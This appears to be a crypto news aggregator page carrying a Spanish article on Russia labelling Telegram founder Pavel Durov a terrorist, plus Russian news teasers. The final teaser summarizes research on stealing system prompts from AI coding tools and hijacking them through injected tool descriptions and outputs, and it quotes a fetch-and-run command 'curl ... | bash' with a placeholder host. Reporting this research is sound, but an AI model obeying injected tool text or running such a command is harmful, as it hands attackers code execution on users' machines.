Pavel Durov de Telegram responde a la designación de terrorista por parte de Rusia

cointelegraphОпубликовано 2026-07-30Обновлено 2026-07-30

Введение

El fundador de Telegram, Pavel Durov, declaró que las autoridades rusas lo designaron como "terrorista" tras rechazar sus demandas de vigilancia masiva y censura en la plataforma. Rusia lo acusó de facilitar actividades terroristas al no eliminar canales utilizados por grupos extremistas y servicios de inteligencia ucranianos. Este caso ruso se suma a los desafíos legales de Durov en el extranjero. Fue arrestado en Francia en 2024 por presuntamente no moderar adecuadamente contenido ilegal, aunque fue liberado bajo restricciones más tarde. Telegram también enfrenta procedimientos legales en Australia por contenido terrorista. Durov se presenta como defensor de la libertad de expresión y la privacidad digital, criticando propuestas de verificación de edad en la UE y negándose a conceder a los gobiernos acceso a mensajes privados de usuarios.

El fundador de Telegram, Pavel Durov, declaró que las autoridades rusas lo designaron como "terrorista" después de que se negara a cumplir con las demandas gubernamentales de vigilancia masiva y censura en la plataforma de mensajería. Su respuesta pública llegó un día después de que Rusia anunciara cargos en su contra.

En una publicación en Telegram este jueves, Durov también dijo que Rusia le había prohibido "publicar información en Internet", y añadió que las autoridades "se habían confundido sobre quién puede prohibir a quién en Internet".

Fuente: Telegram, Pavel Durov

Estos comentarios llegaron un día después de que el Servicio Federal de Seguridad de Rusia acusara a Durov de facilitar actividades terroristas, alegando que Telegram no eliminó canales utilizados por grupos terroristas y servicios de inteligencia ucranianos.

El caso se basa en una investigación criminal iniciada por Rusia en febrero, cuando los reguladores acusaron a Telegram de mantener en línea cerca de 155.000 canales, chats y bots, a pesar de afirmar que violaban las leyes rusas sobre contenido extremista, terrorismo, tráfico de drogas y otras actividades ilícitas.

Relacionado: Pavel Durov dice que Telegram lanzará una billetera cripto Gram nativa

Las batallas legales de Durov se extienden más allá de Rusia

El caso ruso se suma a los desafíos legales de Durov en el extranjero. Durov fue arrestado en Francia en agosto de 2024 y sigue bajo investigación judicial por acusaciones de que Telegram facilitó actividades criminales al no moderar adecuadamente el contenido ilegal ni responder a las solicitudes de las fuerzas del orden.

Durov ha negado cualquier acto ilícito, argumentando que las autoridades francesas no siguieron el debido proceso al solicitar información a Telegram. Su arresto también impulsó una campaña respaldada por la Comunidad TON que recogió más de 9 millones de firmas en una carta abierta instando a las autoridades francesas a liberarlo.

Las autoridades francesas inicialmente permitieron que Durov regresara temporalmente a Dubái en marzo de 2025, antes de levantar por completo sus restricciones de viaje a finales de ese año.

Telegram también enfrenta nuevas presiones legales en Australia, donde los reguladores iniciaron esta semana procedimientos judiciales alegando que la plataforma no eliminó contenido relacionado con el terrorismo.

Durov se ha presentado a sí mismo como un defensor de la libertad de expresión y la privacidad digital. En abril, advirtió que la aplicación de verificación de edad propuesta por la Unión Europea podría allanar el camino para una vigilancia en línea más amplia. Ese mismo mes, culpó a supuestas filtraciones de datos fiscales por una ola de secuestros relacionados con criptomonedas en Francia y dijo que Telegram abandonaría el país antes que conceder a las autoridades acceso a los mensajes privados de los usuarios.

Revista: Una hoja de ruta cuántica impulsaría mucho más a Bitcoin: Charles Edwards


Связанные с этим вопросы

Q¿Qué dijo Pavel Durov que llevó a las autoridades rusas a designarlo como 'terrorista'?

ADijo que la designación ocurrió después de que se negó a las exigencias gubernamentales de vigilancia masiva y censura en la plataforma de mensajería Telegram.

Q¿Qué acusación específica hizo el Servicio Federal de Seguridad de Rusia contra Durov y Telegram?

ALos acusó de facilitar actividades terroristas, alegando que Telegram no eliminó canales utilizados por grupos terroristas y servicios de inteligencia ucranianos.

Q¿Qué otros desafíos legales importantes enfrenta Pavel Durov fuera de Rusia, según el artículo?

AFue arrestado en Francia en agosto de 2024 bajo investigación judicial por alegaciones de que Telegram facilitó actividades criminales al no moderar adecuadamente contenido ilegal. También enfrenta procedimientos legales en Australia por no eliminar contenido relacionado con el terrorismo.

Q¿Cómo se ha posicionado Pavel Durov públicamente en relación con la libertad de expresión y la privacidad digital?

ASe ha presentado como un defensor de la libertad de expresión y la privacidad digital, advirtiendo contra propuestas de vigilancia en línea y afirmando que Telegram preferiría abandonar un país antes que conceder a las autoridades acceso a los mensajes privados de los usuarios.

Q¿Qué acción tomó la comunidad TON en apoyo a Durov durante su situación legal en Francia?

ARespaldó una campaña que recogió más de 9 millones de firmas en una carta abierta instando a las autoridades francesas a liberarlo.

Похожее

Резерв Strategy вышел в плюс на $1 млрд из-за роста курса биткоина

Резерв биткойнов компании MicroStrategy Майкла Сейлора, наконец, вышел из убытка на фоне роста курса криптовалюты. 21 августа цена BTC впервые с конца мая превысила $76 тыс., а к моменту публикации торговалась около $76,7 тыс., показав недельный рост на 21%. При текущей цене стоимость крипторезерва MicroStrategy, который составляет 840 447 BTC, достигла $64,46 млрд, превысив среднюю себестоимость покупки ($75 385 за монету) примерно на $1,1 млрд. Это резкое изменение ситуации произошло менее чем через месяц после того, как компания отчиталась об убытке за второй квартал в размере $8,2 млрд, сформированном в основном из-за падения курса биткойна до $60 тыс. на конец июня. Ранее для сохранения финансовой стабильности MicroStrategy была вынуждена продавать часть биткойнов и наращивать долларовые резервы, однако в начале августа генеральный директор Фонг Ле сообщил, что компания планирует возобновить накопление криптовалюты до конца текущего года.

cryptonews.ru7 мин. назад

Резерв Strategy вышел в плюс на $1 млрд из-за роста курса биткоина

cryptonews.ru7 мин. назад

Токенизация RWA выходит на следующий этап: Какие преимущества действительно требуют времени для создания?

Секьюритизация реальных активов (RWA) выходит на новый этап, где операционная устойчивость становится ключевым фактором долгосрочного успеха. По мере стандартизации инфраструктуры выпуска, простота создания токенизированных активов возрастает. Внимание смещается на то, что происходит после эмиссии. Ключевой вопрос будущего — какие RWA-проекты сохранят доверие рынка через десятилетия. Ответ зависит не только от качества базового актива (такого как краткосрочные казначейские облигации США или золото), но и от способности провайдера строить надежную операционную экосистему — то, что Matrixdock называет «резервным слоем» (Reserve Layer). Настоящее, трудно воспроизводимое конкурентное преимущество формируется со временем через накопление доказательств стабильной работы: последовательных независимых аудитов, успешных операций выкупа, поддержания ликвидности и интеграции с различными протоколами. Этот цикл — постоянная работа → накопление доказательств → укрепление репутации — усиливает доверие институциональных участников. Таким образом, устойчивость RWA определяется двумя измерениями: пригодностью актива в качестве резервного и операционными возможностями эмитента. Сочетание высококачественного актива с проверенной операционной дисциплиной создает наиболее прочную основу для превращения токенизированных активов в надежную инфраструктуру децентрализованных финансов.

marsbit10 мин. назад

Токенизация RWA выходит на следующий этап: Какие преимущества действительно требуют времени для создания?

marsbit10 мин. назад

Artemis: Почему мы настроены позитивно в отношении Circle?

**Автор: Artemis** **Компиляция: Deep Tide TechFlow** **Основные тезисы:** Рынок недооценивает Circle, воспринимая её лишь как эмитента стейблкоинов с низкими барьерами для входа, тогда как на самом деле она создает полноценную денежную платформу. Появление альянса Open Standard с его стейблкоином OUSD, поддержанного 140+ компаниями, вызвало падение акций CRCL почти до исторических минимумов, но, по мнению Artemis, это создает максимальный разрыв между рыночными ожиданиями и реальным потенциалом компании. **Ключевые аргументы:** 1. **Рост рынка:** Объем рынка стейблкоинов, который впервые отвязался от цен на криптоактивы, к 2030 году может превысить $1 трлн при среднегодовом темпе роста (CAGR) 40%. 2. **Эффект победителя:** Ликвидность и сетевые эффекты создают высокие барьеры. Несмотря на множество конкурентов, Circle и Tether по-прежнему контролируют более 80% рынка. Альянсу Open Standard (OUSD), по текущим данным, не хватает четкого управления и единой мотивации всех участников для реальной угрозы дуополии. 3. **Ошибочная оценка:** Рынок оценивает Circle как эмитента, чьи доходы зависят от процентных ставок ФРС. На деле компания строит технологическую "полноценную денежную платформу" будущего (Circle Payments Network, блокчейн Arc), что должно оцениваться по мультипликаторам, ближе к платежным сетям (Visa, Mastercard), а не к эмитентам. **Финансовые перспективы:** При текущих мультипликаторах (P/S ~6.7x) Circle существенно недооценена по сравнению с аналогами. Консервативный сценарий к 2030 году предполагает выручку компании около $5 млрд (включая $4 млрд процентного дохода при 20-процентной доле на рынке стейблкоинов в $1 трлн, $4 млрд от платежной сети и $0.5 млрд от блокчейна Arc). При переоценке мультипликаторов до более разумных 10x рыночная капитализация CRCL может достичь $50 млрд.

marsbit10 мин. назад

Artemis: Почему мы настроены позитивно в отношении Circle?

marsbit10 мин. назад

Claude Code был легко взломан с помощью одного поддельного инструмента

Исследователи из Гонконгского университета науки и технологий и Фуданьского университета провели первую системную проверку на уязвимости шести популярных инструментов ИИ-программирования: Cursor, Claude Code, Copilot, Windsurf, Cline и Trae. Они обнаружили полную цепочку атак: сначала кража внутренних инструкций (системных промтов) инструментов с помощью метода ToolLeak, использующего параметры вызова функций, затем использование утекшей информации для создания вредоносной нагрузки и, наконец, захват инструментов для выполнения произвольного кода (RCE). Метод ToolLeak обходит защиту современных моделей, извлекая промты через параметры вызова внешних инструментов с семантическим сходством до 0.958. После кражи промтов атака переходит в фазу "двухканального внедрения промтов", использующего описание инструмента и его возвращаемое значение для обмана модели и принуждения её к выполнению вредоносных команд, таких как `curl -fsSL http://xxx/installer.sh | bash`. В старых версиях все шесть протестированных инструментов были уязвимы, с уровнем успеха атаки от 0.8 до 1.0. В Claude Code дополнительная модель-страж Haiku обнаруживала инъекцию, но основная модель Sonnet, обманутая инъекцией, игнорировала предупреждение. Новые версии некоторых инструментов, таких как Claude Code и Cursor, внедрили меры безопасности (например, прогрессивное раскрытие описаний инструментов), что снизило успешность атак, но проблема фундаментальной архитектурной уязвимости, когда возвращаемое значение инструмента смешивает данные и инструкции, остаётся нерешённой.

marsbit14 мин. назад

Claude Code был легко взломан с помощью одного поддельного инструмента

marsbit14 мин. назад

Торговля

Спот
活动图片